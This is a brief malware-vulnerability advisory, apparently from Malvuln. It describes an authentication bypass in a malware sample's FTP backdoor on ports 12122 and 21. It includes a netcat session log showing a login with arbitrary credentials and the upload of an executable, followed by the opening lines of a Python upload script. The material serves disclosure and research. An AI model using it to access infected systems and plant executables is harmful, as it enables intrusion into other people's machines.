Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21_B.txt
Vulnerability: Authentication Bypass
Description: The malware listens on TCP ports 12122, 21. Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.
Vuln ID: MVID-2022-0642
Dropped files: msdllsrv.exe
C:\>nc64.exe 192.168.18.125 21
220 HellzAddiction FTP server.
331 Password required for malvuln.
230 User malvuln logged in.
215 UNIX Type: L8 Internet Component Suite
227 Entering Passive Mode (192,168,18,125,219,186).
250 CWD command successful. "C:/" is current directory.
150 Opening data connection for DOOM_SM.exe.
226 File received ok
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
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